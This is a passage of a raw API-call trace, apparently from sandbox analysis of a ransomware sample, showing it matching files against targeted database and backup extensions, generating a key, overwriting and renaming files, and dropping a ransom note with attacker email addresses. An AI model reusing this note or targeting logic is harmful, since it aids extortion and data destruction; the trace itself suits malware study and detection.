	[0086.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".ndf") returned 0x0
	[0086.920] lstrlenW (lpString=".DB") returned 3
	[0086.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".DB") returned 0x0
	[0086.920] lstrlenW (lpString=".sql") returned 4
	[0086.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".sql") returned 0x0
	[0086.920] lstrlenW (lpString=".MYD") returned 4
	[0086.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".MYD") returned 0x0
	[0086.920] lstrlenW (lpString=".DBT") returned 4
	[0086.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".DBT") returned 0x0
	[0086.920] lstrlenW (lpString=".ACCDB") returned 6
	[0086.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".ACCDB") returned 0x0
	[0086.920] lstrlenW (lpString=".fdb") returned 4
	[0086.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".fdb") returned 0x0
	[0086.921] lstrlenW (lpString=".bak") returned 4
	[0086.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".bak") returned 0x0
	[0086.921] lstrlenW (lpString=".myd") returned 4
	[0086.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".myd") returned 0x0
	[0086.921] lstrlenW (lpString=".DTXS") returned 5
	[0086.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".DTXS") returned 0x0
	[0086.921] lstrlenW (lpString=".ckp") returned 4
	[0086.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".ckp") returned 0x0
	[0086.921] lstrlenW (lpString=".dbt") returned 4
	[0086.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".dbt") returned 0x0
	[0086.921] lstrlenW (lpString=".db") returned 3
	[0086.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".db") returned 0x0
	[0086.921] lstrlenW (lpString=".TXT") returned 4
	[0086.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".TXT") returned 0x0
	[0086.921] lstrlenW (lpString=".MDF") returned 4
	[0086.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".MDF") returned 0x0
	[0086.921] lstrlenW (lpString=".bdb") returned 4
	[0086.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".bdb") returned 0x0
	[0086.921] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0086.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0086.922] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0086.923] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0086.923] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0086.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0086.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0086.924] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20691376264) returned 1
	[0086.924] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9d9da390, dwHighDateTime=0x1d60e1e)) 
	[0086.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0086.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0086.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0086.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b4f0
	[0086.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0086.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b4f0 | out: hHeap=0x300000) returned 1
	[0086.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0086.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6028
	[0086.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b2158
	[0086.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6028 | out: hHeap=0x300000) returned 1
	[0086.924] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0086.925] GetLastError () returned 0x0
	[0086.925] GetLastError () returned 0x0
	[0086.925] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0086.925] GetLastError () returned 0x0
	[0086.925] GetLastError () returned 0x0
	[0086.930] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.930] WriteFile (in: hFile=0x12c, lpBuffer=0x2895ff0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2895ff0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0086.933] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2895ff0 | out: hHeap=0x300000) returned 1
	[0086.933] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.933] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0087.036] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.036] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.036] CloseHandle (hObject=0x12c) returned 1
	[0087.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb960
	[0087.037] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.~~~~")) returned 1
	[0087.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb960 | out: hHeap=0x300000) returned 1
	[0087.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0087.038] GetLastError () returned 0x0
	[0087.038] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0087.038] WriteFile (in: hFile=0x12c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0087.040] CloseHandle (hObject=0x12c) returned 1
	[0087.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b23c0 | out: hHeap=0x300000) returned 1
	[0087.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282d428 | out: hHeap=0x300000) returned 1
	[0087.040] RtlWakeConditionVariable () returned 0x365f70
	[0087.040] GetCurrentThreadId () returned 0x9cc
	[0087.040] GetCurrentThreadId () returned 0x9cc
	[0087.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb960
	[0087.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6a00 | out: hHeap=0x300000) returned 1
	[0087.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b720 | out: hHeap=0x300000) returned 1
	[0087.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6a00
	[0087.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
	[0087.041] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0087.041] WriteFile (in: hFile=0x12c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0087.042] CloseHandle (hObject=0x12c) returned 1
	[0087.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6a00 | out: hHeap=0x300000) returned 1
	[0087.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb960 | out: hHeap=0x300000) returned 1
	[0087.043] RtlWakeConditionVariable () returned 0x365f70
	[0087.043] GetCurrentThreadId () returned 0x9cc
	[0087.043] GetCurrentThreadId () returned 0x9cc
	[0087.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0087.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb1a8 | out: hHeap=0x300000) returned 1
	[0087.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b6e8 | out: hHeap=0x300000) returned 1
	[0087.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb1a8
	[0087.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
	[0087.044] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0087.044] WriteFile (in: hFile=0x12c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0087.045] CloseHandle (hObject=0x12c) returned 1
	[0087.045] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb1a8 | out: hHeap=0x300000) returned 1
	[0087.045] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282d428 | out: hHeap=0x300000) returned 1
	[0087.045] RtlWakeConditionVariable () returned 0x365f70
	[0087.045] GetCurrentThreadId () returned 0x9cc
	[0087.046] GetCurrentThreadId () returned 0x9cc
	[0087.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb960
	[0087.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6f40 | out: hHeap=0x300000) returned 1
	[0087.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35cae8 | out: hHeap=0x300000) returned 1
	[0087.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6f40
	[0087.046] lstrlenW (lpString=".scr") returned 4
	[0087.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".scr") returned 0x0
	[0087.046] lstrlenW (lpString=".cmd") returned 4
	[0087.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".cmd") returned 0x0
	[0087.046] lstrlenW (lpString=".dll") returned 4
	[0087.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".dll") returned 0x0
	[0087.046] lstrlenW (lpString=".bat") returned 4
	[0087.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".bat") returned 0x0
	[0087.046] lstrlenW (lpString=".cpl") returned 4
	[0087.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".cpl") returned 0x0
	[0087.046] lstrlenW (lpString=".sys") returned 4
	[0087.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".sys") returned 0x0
	[0087.046] lstrlenW (lpString=".msc") returned 4
	[0087.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".msc") returned 0x0
	[0087.046] lstrlenW (lpString=".com") returned 4
	[0087.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".com") returned 0x0
	[0087.047] lstrlenW (lpString=".lnk") returned 4
	[0087.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".lnk") returned 0x0
	[0087.047] lstrlenW (lpString=".msp") returned 4
	[0087.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".msp") returned 0x0
	[0087.047] lstrlenW (lpString=".pif") returned 4
	[0087.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".pif") returned 0x0
	[0087.047] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0087.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch="msp\r\n.pif") returned 0x0
	[0087.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
	[0087.049] lstrlenW (lpString=".sqb") returned 4
	[0087.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".sqb") returned 0x0
	[0087.049] lstrlenW (lpString=".ost") returned 4
	[0087.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".ost") returned 0x0
	[0087.049] lstrlenW (lpString=".txt") returned 4
	[0087.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".txt") returned 0x0
	[0087.049] lstrlenW (lpString=".mdt") returned 4
	[0087.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".mdt") returned 0x0
	[0087.049] lstrlenW (lpString=".BDB") returned 4
	[0087.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".BDB") returned 0x0
	[0087.049] lstrlenW (lpString=".eql") returned 4
	[0087.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".eql") returned 0x0
	[0087.049] lstrlenW (lpString=".DBF") returned 4
	[0087.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".DBF") returned 0x0
	[0087.049] lstrlenW (lpString=".EQL") returned 4
	[0087.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".EQL") returned 0x0
	[0087.049] lstrlenW (lpString=".FDB") returned 4
	[0087.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".FDB") returned 0x0
	[0087.050] lstrlenW (lpString=".EDB") returned 4
	[0087.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".EDB") returned 0x0
	[0087.050] lstrlenW (lpString=".DACPAC") returned 7
	[0087.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".DACPAC") returned 0x0
	[0087.050] lstrlenW (lpString=".VHD") returned 4
	[0087.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".VHD") returned 0x0
	[0087.050] lstrlenW (lpString=".DBV") returned 4
	[0087.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".DBV") returned 0x0
	[0087.050] lstrlenW (lpString=".dacpac") returned 7
	[0087.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".dacpac") returned 0x0
	[0087.050] lstrlenW (lpString=".sdf") returned 4
	[0087.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".sdf") returned 0x0
	[0087.050] lstrlenW (lpString=".accdb") returned 6
	[0087.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".accdb") returned 0x0
	[0087.050] lstrlenW (lpString=".DBX") returned 4
	[0087.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".DBX") returned 0x0
	[0087.050] lstrlenW (lpString=".MDT") returned 4
	[0087.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".MDT") returned 0x0
	[0087.050] lstrlenW (lpString=".SQB") returned 4
	[0087.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".SQB") returned 0x0
	[0087.050] lstrlenW (lpString=".vhd") returned 4
	[0087.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".vhd") returned 0x0
	[0087.050] lstrlenW (lpString=".bac") returned 4
	[0087.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".bac") returned 0x0
	[0087.051] lstrlenW (lpString=".mdf") returned 4
	[0087.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".mdf") returned 0x0
	[0087.051] lstrlenW (lpString=".BAK") returned 4
	[0087.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".BAK") returned 0x0
	[0087.051] lstrlenW (lpString=".BAC") returned 4
	[0087.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".BAC") returned 0x0
	[0087.051] lstrlenW (lpString=".dbs") returned 4
	[0087.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".dbs") returned 0x0
	[0087.051] lstrlenW (lpString=".vhdx") returned 5
	[0087.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".vhdx") returned 0x0
	[0087.051] lstrlenW (lpString=".NDF") returned 4
	[0087.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".NDF") returned 0x0
	[0087.051] lstrlenW (lpString=".dat") returned 4
	[0087.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".dat") returned 0x0
	[0087.051] lstrlenW (lpString=".DBS") returned 4
	[0087.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".DBS") returned 0x0
	[0087.051] lstrlenW (lpString=".CKP") returned 4
	[0087.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".CKP") returned 0x0
	[0087.052] lstrlenW (lpString=".edb") returned 4
	[0087.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".edb") returned 0x0
	[0087.052] lstrlenW (lpString=".PST") returned 4
	[0087.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".PST") returned 0x0
	[0087.052] lstrlenW (lpString=".dbf") returned 4
	[0087.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".dbf") returned 0x0
	[0087.052] lstrlenW (lpString=".SQL") returned 4
	[0087.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".SQL") returned 0x0
	[0087.052] lstrlenW (lpString=".pst") returned 4
	[0087.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".pst") returned 0x0
	[0087.052] lstrlenW (lpString=".dbv") returned 4
	[0087.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".dbv") returned 0x0
	[0087.052] lstrlenW (lpString=".SDF") returned 4
	[0087.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".SDF") returned 0x0
	[0087.052] lstrlenW (lpString=".dtxs") returned 5
	[0087.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".dtxs") returned 0x0
	[0087.052] lstrlenW (lpString=".db3") returned 4
	[0087.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".db3") returned 0x0
	[0087.052] lstrlenW (lpString=".OST") returned 4
	[0087.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".OST") returned 0x0
	[0087.053] lstrlenW (lpString=".dbx") returned 4
	[0087.053] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".dbx") returned 0x0
	[0087.053] lstrlenW (lpString=".DB3") returned 4
	[0087.053] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".DB3") returned 0x0
